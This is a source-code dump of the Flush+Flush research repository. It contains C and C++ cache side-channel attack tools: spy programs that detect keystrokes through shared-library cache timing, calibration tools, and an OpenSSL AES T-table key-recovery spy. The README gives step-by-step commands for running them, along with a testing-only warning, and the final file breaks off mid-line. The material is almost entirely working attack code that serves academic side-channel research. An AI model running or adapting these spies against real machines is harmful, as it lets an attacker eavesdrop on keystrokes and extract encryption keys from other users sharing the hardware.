├── sc ├── fr │ ├── Makefile │ └── spy.c ├── pp │ ├── Makefile │ └── spy.c ├── ff │ ├── Makefile │ └── spy_ff.c └── cacheutils.h ├── histogram ├── ff │ ├── Makefile │ └── calibration.c ├── pp │ ├── Makefile │ └── calibration.c ├── ppc │ ├── Makefile │ └── calibration.c ├── fr │ ├── Makefile │ └── calibration_fr.c └── cacheutils.h ├── aes ├── ff │ ├── Makefile │ └── spy.cpp ├── fr │ ├── Makefile │ └── spy.cpp └── pp │ ├── Makefile │ └── spy.cpp ├── LICENSE ├── cacheutils.h └── README.md /sc/fr/Makefile: -------------------------------------------------------------------------------- 1 | all: spy 2 | spy: spy.c ../cacheutils.h 3 | gcc -std=gnu11 -O3 -o $@ $@.c 4 | -------------------------------------------------------------------------------- /sc/pp/Makefile: -------------------------------------------------------------------------------- 1 | all: spy 2 | spy: spy.c ../cacheutils.h 3 | gcc -std=gnu11 -O3 -o $@ $@.c 4 | -------------------------------------------------------------------------------- /sc/ff/Makefile: -------------------------------------------------------------------------------- 1 | all: spy_ff 2 | spy_ff: spy_ff.c ../cacheutils.h 3 | gcc -std=gnu11 -O3 -o $@ $@.c 4 | -------------------------------------------------------------------------------- /histogram/ff/Makefile: -------------------------------------------------------------------------------- 1 | all: calibration 2 | calibration: calibration.c ../cacheutils.h 3 | gcc -std=gnu11 -O3 -o $@ $@.c 4 | -------------------------------------------------------------------------------- /histogram/pp/Makefile: -------------------------------------------------------------------------------- 1 | all: calibration 2 | calibration: calibration.c ../cacheutils.h 3 | gcc -std=gnu11 -O3 -o $@ $@.c 4 | -------------------------------------------------------------------------------- /histogram/ppc/Makefile: -------------------------------------------------------------------------------- 1 | all: calibration 2 | calibration: calibration.c ../cacheutils.h 3 | gcc -std=gnu11 -O3 -o $@ $@.c 4 | -------------------------------------------------------------------------------- /histogram/fr/Makefile: -------------------------------------------------------------------------------- 1 | all: calibration_fr 2 | calibration: calibration_fr.c ../cacheutils.h 3 | gcc -std=gnu11 -O2 -o $@ $@.c 4 | -------------------------------------------------------------------------------- /aes/ff/Makefile: -------------------------------------------------------------------------------- 1 | all: spy 2 | clean: 3 | rm -f *.o spy 4 | spy: spy.cpp ../../cacheutils.h 5 | g++ -std=gnu++11 -O2 -o $@ $< -I/home/dgruss/openssl -L/home/dgruss/openssl -lcrypto 6 | -------------------------------------------------------------------------------- /aes/fr/Makefile: -------------------------------------------------------------------------------- 1 | all: spy 2 | clean: 3 | rm -f *.o spy 4 | spy: spy.cpp ../../cacheutils.h 5 | g++ -std=gnu++11 -O2 -o $@ $< -I/home/dgruss/openssl -L/home/dgruss/openssl -lcrypto 6 | -------------------------------------------------------------------------------- /aes/pp/Makefile: -------------------------------------------------------------------------------- 1 | all: spy 2 | clean: 3 | rm -f *.o spy 4 | spy: spy.cpp ../../cacheutils.h 5 | g++ -std=gnu++11 -O3 -o $@ $< -I/home/dgruss/openssl -L/home/dgruss/openssl -lcrypto 6 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | This is free and unencumbered software released into the public domain. 2 | 3 | Anyone is free to copy, modify, publish, use, compile, sell, or 4 | distribute this software, either in source code form or as a compiled 5 | binary, for any purpose, commercial or non-commercial, and by any 6 | means. 7 | 8 | In jurisdictions that recognize copyright laws, the author or authors 9 | of this software dedicate any and all copyright interest in the 10 | software to the public domain. We make this dedication for the benefit 11 | of the public at large and to the detriment of our heirs and 12 | successors. We intend this dedication to be an overt act of 13 | relinquishment in perpetuity of all present and future rights to this 14 | software under copyright law. 15 | 16 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, 17 | EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF 18 | MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. 19 | IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR 20 | OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, 21 | ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR 22 | OTHER DEALINGS IN THE SOFTWARE. 23 | 24 | For more information, please refer to 25 | -------------------------------------------------------------------------------- /sc/fr/spy.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include "../cacheutils.h" 15 | 16 | size_t start = 0; 17 | size_t keystate = 0; 18 | size_t kpause = 0; 19 | void flushandreload(void* addr) 20 | { 21 | size_t time = rdtsc_begin(); 22 | maccess(addr); 23 | size_t delta = rdtsc_end() - time; 24 | flush(addr); 25 | if (delta < 200) 26 | { 27 | if (kpause > 1000) 28 | { 29 | printf("Cache Hit %10lu after %10lu cycles, t=%10lu us\n", delta, kpause, (time-start)/2600); 30 | keystate = (keystate+1) % 2; 31 | } 32 | kpause = 0; 33 | } 34 | else 35 | kpause++; 36 | } 37 | 38 | int main(int argc, char** argv) 39 | { 40 | char* name = argv[1]; 41 | char* offsetp = argv[2]; 42 | if (argc != 3) 43 | return 1; 44 | unsigned int offset = 0; 45 | !sscanf(offsetp,"%x",&offset); 46 | int fd = open(name,O_RDONLY); 47 | if (fd < 3) 48 | return 2; 49 | unsigned char* addr = (unsigned char*)mmap(0, 64*1024*1024, PROT_READ, MAP_SHARED, fd, 0); 50 | if (addr == (void*)-1) 51 | return 3; 52 | start = rdtsc(); 53 | while(1) 54 | { 55 | flushandreload(addr + offset); 56 | sched_yield(); 57 | } 58 | return 0; 59 | } 60 | -------------------------------------------------------------------------------- /sc/ff/spy_ff.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include "../cacheutils.h" 15 | 16 | size_t start = 0; 17 | size_t keystate = 0; 18 | size_t kpause = 0; 19 | void flushandreload(void* addr) 20 | { 21 | size_t time = rdtsc(); 22 | flush(addr); 23 | size_t delta = rdtsc() - time; 24 | if (delta >= 172 && delta <= 200) 25 | { 26 | if (kpause > 1000) 27 | { 28 | printf("Cache Hit (%zu) after %10lu cycles, t=%10lu us\n", delta, kpause, (time-start)/2600); 29 | keystate = (keystate+1) % 2; 30 | } 31 | kpause = 0; 32 | } 33 | else 34 | kpause++; 35 | } 36 | 37 | int main(int argc, char** argv) 38 | { 39 | char* name = argv[1]; 40 | char* offsetp = argv[2]; 41 | if (argc != 3) 42 | return 1; 43 | unsigned int offset = 0; 44 | !sscanf(offsetp,"%x",&offset); 45 | int fd = open(name,O_RDONLY); 46 | if (fd < 3) 47 | return 2; 48 | unsigned char* addr = (unsigned char*)mmap(0, 64*1024*1024, PROT_READ, MAP_SHARED, fd, 0); 49 | if (addr == (void*)-1) 50 | return 3; 51 | start = rdtsc(); 52 | while(1) 53 | { 54 | flushandreload(addr + offset); 55 | for (int i = 0; i < 30; ++i) 56 | sched_yield(); 57 | } 58 | return 0; 59 | } 60 | -------------------------------------------------------------------------------- /histogram/ff/calibration.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include "../cacheutils.h" 6 | 7 | size_t array[5*1024]; 8 | 9 | size_t hit_histogram[600]; 10 | size_t miss_histogram[600]; 11 | 12 | size_t onlyreload(size_t* addr) 13 | { 14 | size_t time = rdtsc(); 15 | flush(addr); 16 | size_t delta = rdtsc() - time; 17 | maccess(addr); 18 | maccess(addr); 19 | return delta; 20 | } 21 | 22 | size_t flushandreload(size_t* addr) 23 | { 24 | size_t time = rdtsc(); 25 | flush(addr); 26 | size_t delta = rdtsc() - time; 27 | flush(addr); 28 | return delta; 29 | } 30 | 31 | int main(int argc, char** argv) 32 | { 33 | memset(array,-1,5*1024*sizeof(size_t)); 34 | maccess(array + 2*1024); 35 | sched_yield(); 36 | for (int i = 0; i < 1*1024*1024; ++i) 37 | { 38 | size_t d = onlyreload(array+2*1024); 39 | hit_histogram[MIN(599,d)]++; 40 | for (size_t i = 0; i < 30; ++i) 41 | sched_yield(); 42 | } 43 | flush(array+1024); 44 | for (int i = 0; i < 1*1024*1024; ++i) 45 | { 46 | size_t d = flushandreload(array+2*1024); 47 | miss_histogram[MIN(599,d)]++; 48 | for (size_t i = 0; i < 30; ++i) 49 | sched_yield(); 50 | } 51 | printf(".\n"); 52 | size_t hit_max = 0; 53 | size_t hit_max_i = 0; 54 | size_t miss_min_i = 0; 55 | for (size_t i = 0; i < 600; ++i) 56 | { 57 | printf("%3zu: %10zu %10zu\n",i,hit_histogram[i],miss_histogram[i]); 58 | } 59 | return 0; 60 | } 61 | -------------------------------------------------------------------------------- /cacheutils.h: -------------------------------------------------------------------------------- 1 | #ifndef CACHEUTILS_H 2 | #define CACHEUTILS_H 3 | 4 | #ifndef HIDEMINMAX 5 | #define MAX(X,Y) (((X) > (Y)) ? (X) : (Y)) 6 | #define MIN(X,Y) (((X) < (Y)) ? (X) : (Y)) 7 | #endif 8 | 9 | uint64_t rdtsc_nofence() { 10 | uint64_t a, d; 11 | asm volatile ("rdtsc" : "=a" (a), "=d" (d)); 12 | a = (d<<32) | a; 13 | return a; 14 | } 15 | 16 | uint64_t rdtsc() { 17 | uint64_t a, d; 18 | asm volatile ("mfence"); 19 | asm volatile ("rdtsc" : "=a" (a), "=d" (d)); 20 | a = (d<<32) | a; 21 | asm volatile ("mfence"); 22 | return a; 23 | } 24 | 25 | uint64_t rdtsc_begin() { 26 | uint64_t a, d; 27 | asm volatile ("mfence\n\t" 28 | "CPUID\n\t" 29 | "RDTSCP\n\t" 30 | "mov %%rdx, %0\n\t" 31 | "mov %%rax, %1\n\t" 32 | "mfence\n\t" 33 | : "=r" (d), "=r" (a) 34 | : 35 | : "%rax", "%rbx", "%rcx", "%rdx"); 36 | a = (d<<32) | a; 37 | return a; 38 | } 39 | 40 | uint64_t rdtsc_end() { 41 | uint64_t a, d; 42 | asm volatile("mfence\n\t" 43 | "RDTSCP\n\t" 44 | "mov %%rdx, %0\n\t" 45 | "mov %%rax, %1\n\t" 46 | "CPUID\n\t" 47 | "mfence\n\t" 48 | : "=r" (d), "=r" (a) 49 | : 50 | : "%rax", "%rbx", "%rcx", "%rdx"); 51 | a = (d<<32) | a; 52 | return a; 53 | } 54 | 55 | void maccess(void* p) 56 | { 57 | asm volatile ("movq (%0), %%rax\n" 58 | : 59 | : "c" (p) 60 | : "rax"); 61 | } 62 | 63 | void flush(void* p) { 64 | asm volatile ("clflush 0(%0)\n" 65 | : 66 | : "c" (p) 67 | : "rax"); 68 | } 69 | 70 | void prefetch(void* p) 71 | { 72 | asm volatile ("prefetcht1 %0" : : "m" (p)); 73 | } 74 | 75 | void longnop() 76 | { 77 | asm volatile ("nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n" 78 | "nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n" 79 | "nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n" 80 | "nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n" 81 | "nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n" 82 | "nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n" 83 | "nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n" 84 | "nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n"); 85 | } 86 | #endif 87 | -------------------------------------------------------------------------------- /histogram/cacheutils.h: -------------------------------------------------------------------------------- 1 | #ifndef CACHEUTILS_H 2 | #define CACHEUTILS_H 3 | 4 | #ifndef HIDEMINMAX 5 | #define MAX(X,Y) (((X) > (Y)) ? (X) : (Y)) 6 | #define MIN(X,Y) (((X) < (Y)) ? (X) : (Y)) 7 | #endif 8 | 9 | uint64_t rdtsc_nofence() { 10 | uint64_t a, d; 11 | asm volatile ("rdtsc" : "=a" (a), "=d" (d)); 12 | a = (d<<32) | a; 13 | return a; 14 | } 15 | 16 | uint64_t rdtsc() { 17 | uint64_t a, d; 18 | asm volatile ("mfence"); 19 | asm volatile ("rdtsc" : "=a" (a), "=d" (d)); 20 | a = (d<<32) | a; 21 | asm volatile ("mfence"); 22 | return a; 23 | } 24 | 25 | uint64_t rdtsc_begin() { 26 | uint64_t a, d; 27 | asm volatile ("mfence\n\t" 28 | "CPUID\n\t" 29 | "RDTSCP\n\t" 30 | "mov %%rdx, %0\n\t" 31 | "mov %%rax, %1\n\t" 32 | "mfence\n\t" 33 | : "=r" (d), "=r" (a) 34 | : 35 | : "%rax", "%rbx", "%rcx", "%rdx"); 36 | a = (d<<32) | a; 37 | return a; 38 | } 39 | 40 | uint64_t rdtsc_end() { 41 | uint64_t a, d; 42 | asm volatile("mfence\n\t" 43 | "RDTSCP\n\t" 44 | "mov %%rdx, %0\n\t" 45 | "mov %%rax, %1\n\t" 46 | "CPUID\n\t" 47 | "mfence\n\t" 48 | : "=r" (d), "=r" (a) 49 | : 50 | : "%rax", "%rbx", "%rcx", "%rdx"); 51 | a = (d<<32) | a; 52 | return a; 53 | } 54 | 55 | void maccess(void* p) 56 | { 57 | asm volatile ("movq (%0), %%rax\n" 58 | : 59 | : "c" (p) 60 | : "rax"); 61 | } 62 | 63 | void flush(void* p) { 64 | asm volatile ("clflush 0(%0)\n" 65 | : 66 | : "c" (p) 67 | : "rax"); 68 | } 69 | 70 | void prefetch(void* p) 71 | { 72 | asm volatile ("prefetcht1 %0" : : "m" (p)); 73 | } 74 | 75 | void longnop() 76 | { 77 | asm volatile ("nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n" 78 | "nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n" 79 | "nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n" 80 | "nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n" 81 | "nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n" 82 | "nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n" 83 | "nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n" 84 | "nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n"); 85 | } 86 | #endif 87 | -------------------------------------------------------------------------------- /histogram/fr/calibration_fr.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include "../cacheutils.h" 6 | 7 | size_t array[5*1024]; 8 | 9 | size_t hit_histogram[600]; 10 | size_t miss_histogram[600]; 11 | 12 | size_t onlyreload(void* addr) 13 | { 14 | size_t time = rdtsc(); 15 | maccess(addr); 16 | size_t delta = rdtsc() - time; 17 | return delta; 18 | } 19 | 20 | size_t flushandreload(void* addr) 21 | { 22 | size_t time = rdtsc(); 23 | maccess(addr); 24 | size_t delta = rdtsc() - time; 25 | flush(addr); 26 | return delta; 27 | } 28 | 29 | int main(int argc, char** argv) 30 | { 31 | memset(array,-1,5*1024*sizeof(size_t)); 32 | maccess(array + 2*1024); 33 | sched_yield(); 34 | for (int i = 0; i < 12*1024*1024; ++i) 35 | { 36 | size_t d = onlyreload(array+2*1024); 37 | hit_histogram[MIN(599,d)]++; 38 | } 39 | flush(array+1024); 40 | for (int i = 0; i < 12*1024*1024; ++i) 41 | { 42 | size_t d = flushandreload(array+2*1024); 43 | miss_histogram[MIN(599,d)]++; 44 | } 45 | printf(".\n"); 46 | size_t hit_max = 0; 47 | size_t hit_max_i = 0; 48 | size_t miss_min_i = 0; 49 | for (size_t i = 0; i < 600; ++i) 50 | { 51 | printf("%3zu: %10zu %10zu\n",i,hit_histogram[i],miss_histogram[i]); 52 | if (hit_max < hit_histogram[i]) 53 | { 54 | hit_max = hit_histogram[i]; 55 | hit_max_i = i; 56 | } 57 | if (miss_histogram[i] > 3 && miss_min_i == 0) 58 | miss_min_i = i; 59 | } 60 | if (miss_min_i > hit_max_i+4) 61 | printf("Flush+Reload possible!\n"); 62 | else if (miss_min_i > hit_max_i+2) 63 | printf("Flush+Reload probably possible!\n"); 64 | else if (miss_min_i < hit_max_i+2) 65 | printf("Flush+Reload maybe not possible!\n"); 66 | else 67 | printf("Flush+Reload not possible!\n"); 68 | size_t min = -1UL; 69 | size_t min_i = 0; 70 | for (int i = hit_max_i; i < miss_min_i; ++i) 71 | { 72 | if (min > (hit_histogram[i] + miss_histogram[i])) 73 | { 74 | min = hit_histogram[i] + miss_histogram[i]; 75 | min_i = i; 76 | } 77 | } 78 | printf("The lower the threshold, the lower the number of false positives.\n"); 79 | printf("Suggested cache hit/miss threshold: %zu\n",min_i); 80 | return min_i * 5; 81 | } 82 | -------------------------------------------------------------------------------- /sc/cacheutils.h: -------------------------------------------------------------------------------- 1 | #ifndef CACHEUTILS_H 2 | #define CACHEUTILS_H 3 | 4 | #ifndef HIDEMINMAX 5 | #define MAX(X,Y) (((X) > (Y)) ? (X) : (Y)) 6 | #define MIN(X,Y) (((X) < (Y)) ? (X) : (Y)) 7 | #endif 8 | 9 | uint64_t rdtsc_nofence() { 10 | uint64_t a, d; 11 | asm volatile ("rdtsc" : "=a" (a), "=d" (d)); 12 | a = (d<<32) | a; 13 | return a; 14 | } 15 | 16 | uint64_t rdtsc() { 17 | uint64_t a, d; 18 | asm volatile ("mfence"); 19 | asm volatile ("rdtsc" : "=a" (a), "=d" (d)); 20 | a = (d<<32) | a; 21 | asm volatile ("mfence"); 22 | return a; 23 | } 24 | 25 | uint64_t rdtsc_begin() { 26 | uint64_t a, d; 27 | asm volatile ("mfence\n\t" 28 | "CPUID\n\t" 29 | "RDTSCP\n\t" 30 | "mov %%rdx, %0\n\t" 31 | "mov %%rax, %1\n\t" 32 | "mfence\n\t" 33 | : "=r" (d), "=r" (a) 34 | : 35 | : "%rax", "%rbx", "%rcx", "%rdx"); 36 | a = (d<<32) | a; 37 | return a; 38 | } 39 | 40 | uint64_t rdtsc_end() { 41 | uint64_t a, d; 42 | asm volatile("mfence\n\t" 43 | "RDTSCP\n\t" 44 | "mov %%rdx, %0\n\t" 45 | "mov %%rax, %1\n\t" 46 | "CPUID\n\t" 47 | "mfence\n\t" 48 | : "=r" (d), "=r" (a) 49 | : 50 | : "%rax", "%rbx", "%rcx", "%rdx"); 51 | a = (d<<32) | a; 52 | return a; 53 | } 54 | 55 | void maccess(void* p) 56 | { 57 | asm volatile ("movq (%0), %%rax\n" 58 | : 59 | : "c" (p) 60 | : "rax"); 61 | } 62 | 63 | void flush(void* p) { 64 | asm volatile ("clflush 0(%0)\n" 65 | : 66 | : "c" (p) 67 | : "rax"); 68 | } 69 | 70 | void prefetch(void* p) 71 | { 72 | asm volatile ("prefetcht0 (%0)" : : "r" (p)); 73 | asm volatile ("prefetcht1 (%0)" : : "r" (p)); 74 | asm volatile ("prefetcht2 (%0)" : : "r" (p)); 75 | asm volatile ("prefetchnta (%0)" : : "r" (p)); 76 | } 77 | 78 | void longnop() 79 | { 80 | asm volatile ("nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n" 81 | "nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n" 82 | "nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n" 83 | "nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n" 84 | "nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n" 85 | "nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n" 86 | "nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n" 87 | "nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n"); 88 | } 89 | #endif 90 | -------------------------------------------------------------------------------- /aes/fr/spy.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include "../../cacheutils.h" 10 | #include 11 | #include 12 | 13 | // this number varies on different systems 14 | #define MIN_CACHE_MISS_CYCLES (270) 15 | 16 | // more encryptions show features more clearly 17 | #define NUMBER_OF_ENCRYPTIONS (10000) 18 | 19 | unsigned char key[] = 20 | { 21 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 22 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 23 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 24 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 25 | //0x51, 0x4d, 0xab, 0x12, 0xff, 0xdd, 0xb3, 0x32, 0x52, 0x8f, 0xbb, 0x1d, 0xec, 0x45, 0xce, 0xcc, 0x4f, 0x6e, 0x9c, 26 | //0x2a, 0x15, 0x5f, 0x5f, 0x0b, 0x25, 0x77, 0x6b, 0x70, 0xcd, 0xe2, 0xf7, 0x80 27 | }; 28 | 29 | size_t sum; 30 | size_t scount; 31 | 32 | std::map > timings; 33 | 34 | char* base; 35 | char* probe; 36 | char* end; 37 | 38 | int main() 39 | { 40 | int fd = open("./libcrypto.so", O_RDONLY); 41 | size_t size = lseek(fd, 0, SEEK_END); 42 | if (size == 0) 43 | exit(-1); 44 | size_t map_size = size; 45 | if (map_size & 0xFFF != 0) 46 | { 47 | map_size |= 0xFFF; 48 | map_size += 1; 49 | } 50 | base = (char*) mmap(0, map_size, PROT_READ, MAP_SHARED, fd, 0); 51 | end = base + size; 52 | 53 | unsigned char plaintext[] = 54 | { 55 | 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 56 | }; 57 | unsigned char ciphertext[128]; 58 | unsigned char restoredtext[128]; 59 | 60 | AES_KEY key_struct; 61 | 62 | AES_set_encrypt_key(key, 128, &key_struct); 63 | 64 | uint64_t min_time = rdtsc(); 65 | srand(min_time); 66 | sum = 0; 67 | for (size_t byte = 0; byte < 256; byte += 16) 68 | { 69 | plaintext[0] = byte; 70 | //plaintext[1] = byte; 71 | //plaintext[2] = byte; 72 | //plaintext[3] = byte; 73 | 74 | AES_encrypt(plaintext, ciphertext, &key_struct); 75 | 76 | // adjust me (decreasing order) 77 | int te0 = 0x186f60; 78 | int te1 = 0x186b60; 79 | int te2 = 0x186760; 80 | int te3 = 0x186360; 81 | 82 | //adjust address range to exclude unwanted lines/tables 83 | for (probe = base + te3; probe < base + te0 + 64*16; probe += 64) // hardcoded addresses (could be done dynamically) 84 | { 85 | size_t count = 0; 86 | for (size_t i = 0; i < NUMBER_OF_ENCRYPTIONS; ++i) 87 | { 88 | for (size_t j = 1; j < 16; ++j) 89 | plaintext[j] = rand() % 256; 90 | flush(probe); 91 | AES_encrypt(plaintext, ciphertext, &key_struct); 92 | sched_yield(); 93 | size_t time = rdtsc(); 94 | maccess(probe); 95 | size_t delta = rdtsc() - time; 96 | if (delta < MIN_CACHE_MISS_CYCLES) 97 | ++count; 98 | } 99 | sched_yield(); 100 | timings[probe][byte] = count; 101 | sched_yield(); 102 | } 103 | } 104 | 105 | for (auto ait : timings) 106 | { 107 | printf("%p", (void*) (ait.first - base)); 108 | for (auto kit : ait.second) 109 | { 110 | printf(",%6lu", kit.second); 111 | } 112 | printf("\n"); 113 | } 114 | 115 | close(fd); 116 | munmap(base, map_size); 117 | fflush(stdout); 118 | return 0; 119 | } 120 | 121 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Flush + Flush 2 | This repository contains several tools to perform **Flush+Flush** attacks (and related attacks). 3 | 4 | The Flush+Flush attack only relies on the execution time of the flush instruction, which depends on whether data is cached or not. 5 | Flush+Flush does not make any memory accesses, contrary to any other cache attack. Thus, it causes no cache misses at all and the 6 | number of cache hits is reduced to a minimum due to the constant cache flushes. Therefore, Flush+Flush attacks are stealthy and 7 | faster than existing cache attacks. 8 | 9 | The "[Flush+Flush](https://scholar.google.at/citations?view_op=view_citation&hl=de&user=JmCg4uQAAAAJ&citation_for_view=JmCg4uQAAAAJ:l7t_Zn2s7bgC)" paper by Gruss, Maurice, Wagner, and Mangard will be published at DIMVA 2016. 10 | 11 | ## One note before starting 12 | 13 | **Warning:** This code is provided as-is. You are responsible for protecting yourself, your property and data, and others from any risks caused by this code. This code may not detect vulnerabilities of your applications. This code is only for testing purposes. Use it only on test systems which contain no sensitive data. 14 | 15 | The programs should work on x86-64 Intel CPUs with a recent Linux. Note that the code contains hardcoded addresses and thresholds that are specific to our test system. Please adapt these addresses and thresholds to your system. 16 | 17 | ## Getting started: calibration 18 | Use the histogram tools in the histogram folder to find a thresholds distinguishing cache hits and cache misses based on different techniques: 19 | * ff: using a Flush+Flush attack 20 | * fr: using a Flush+Reload attack 21 | * pp: using a Prime+Probe attack (in a side-channel scenario) 22 | * ppc: using a Prime+Probe attack (in a covert channel scenario) 23 | 24 | Each of these programs should print a histogram for cache hits and cache misses. Based on the histogram you can choose an appropriate value to distinguish cache hits and cache misses. 25 | 26 | **Note:** In most programs I defined a constant MIN_CACHE_MISS_CYCLES. Change it based on your threshold, if necessary. 27 | 28 | ## Getting started: eavesdropping on something 29 | You can eavesdrop on something (like function calls in a shared library to infer something like keypresses) using the different tools in the sc folder. 30 | We assume you already know a suitable address, for instance from a [Cache Template Attack](https://github.com/IAIK/cache_template_attacks). 31 | 32 | Run the spy like this: 33 | ``` 34 | cd sc 35 | cd ff # or fr/pp 36 | make 37 | ./spy /usr/lib/x86_64-linux-gnu/libgdk-3.so.0.1200.2 0x85ec0 # use a suitable address ;) 38 | ``` 39 | The tools will now print cache hits for key strokes. Note that these are our most simple ff/fr/pp spy tools. 40 | To significantly reduce the noise you can monitor two adjacent addresses in the case of Flush+Flush or Prime+Probe. 41 | 42 | ## OpenSSL AES T-table Attack 43 | 44 | ### Prerequisites 45 | 46 | * This example requires a self-compiled version of OpenSSL to enable it's T-Table-based AES implementation. 47 | * Place `libcrypto.so` or its symlink in `aes/ff`, `aes/fr`, or `aes/pp` such that the program uses this shared library. 48 | * Determine the T-table addresses using `$ nm libcrypto.so.1.0.0 | "grep Te[0-4]"` and update them in `spy.cpp`. 49 | 50 | ### Running 51 | 52 | Then, run the following commands: 53 | 54 | ``` 55 | cd aes 56 | cd ff # or fr or pp 57 | make 58 | ./spy 59 | ``` 60 | 61 | The spy tool triggers encryptions after which it determines the upper 4 bits of each key byte after about 64 encryptions. 62 | 63 | OpenSSL does not use a T-table-based AES implementation anymore. But, you can use this tool to profile any binary (possibly even closed-source) to find out whether it contains a cryptographic algorithm which leaks key dependent information through the cache. 64 | -------------------------------------------------------------------------------- /aes/ff/spy.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include "../../cacheutils.h" 10 | #include 11 | #include 12 | 13 | // this number varies on different systems 14 | #define MIN_CACHE_HIT_CYCLES (140) 15 | 16 | // more encryptions show features more clearly 17 | #define NUMBER_OF_ENCRYPTIONS (1000*10) 18 | 19 | unsigned char key[] = 20 | { 21 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 22 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 23 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 24 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 25 | //0x51, 0x4d, 0xab, 0x12, 0xff, 0xdd, 0xb3, 0x32, 0x52, 0x8f, 0xbb, 0x1d, 0xec, 0x45, 0xce, 0xcc, 0x4f, 0x6e, 0x9c, 26 | //0x2a, 0x15, 0x5f, 0x5f, 0x0b, 0x25, 0x77, 0x6b, 0x70, 0xcd, 0xe2, 0xf7, 0x80 27 | }; 28 | 29 | size_t sum; 30 | size_t scount; 31 | 32 | std::map > timings; 33 | 34 | char* base; 35 | char* probe; 36 | char* end; 37 | 38 | int main() 39 | { 40 | int fd = open("./libcrypto.so", O_RDONLY); 41 | size_t size = lseek(fd, 0, SEEK_END); 42 | if (size == 0) 43 | exit(-1); 44 | size_t map_size = size; 45 | if (map_size & 0xFFF != 0) 46 | { 47 | map_size |= 0xFFF; 48 | map_size += 1; 49 | } 50 | base = (char*) mmap(0, map_size, PROT_READ, MAP_SHARED, fd, 0); 51 | end = base + size; 52 | 53 | unsigned char plaintext[] = 54 | { 55 | 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 56 | }; 57 | unsigned char ciphertext[128]; 58 | unsigned char restoredtext[128]; 59 | 60 | AES_KEY key_struct; 61 | 62 | AES_set_encrypt_key(key, 128, &key_struct); 63 | 64 | uint64_t min_time = rdtsc(); 65 | srand(min_time); 66 | sum = 0; 67 | for (size_t byte = 0; byte < 256; byte += 16) 68 | { 69 | plaintext[0] = byte; 70 | //plaintext[1] = byte; 71 | //plaintext[2] = byte; 72 | //plaintext[3] = byte; 73 | 74 | AES_encrypt(plaintext, ciphertext, &key_struct); 75 | 76 | // adjust me (decreasing order) 77 | int te0 = 0x186f60; 78 | int te1 = 0x186b60; 79 | int te2 = 0x186760; 80 | int te3 = 0x186360; 81 | 82 | //adjust address range to exclude unwanted lines/tables 83 | for (probe = base + te3; probe < base + te0 + 64*16; probe += 64) // hardcoded addresses (could be done dynamically) 84 | { 85 | size_t count = 0; 86 | for (size_t i = 0; i < NUMBER_OF_ENCRYPTIONS; ++i) 87 | { 88 | sched_yield(); 89 | for (size_t j = 1; j < 16; ++j) 90 | plaintext[j] = rand() % 256; 91 | flush(probe); 92 | AES_encrypt(plaintext, ciphertext, &key_struct); 93 | sched_yield(); 94 | size_t time = rdtsc(); 95 | flush(probe); 96 | size_t delta = rdtsc() - time; 97 | if (delta >= MIN_CACHE_HIT_CYCLES 98 | + ((probe-base == te3 || probe-base == te2 || probe-base == te1 || probe-base == 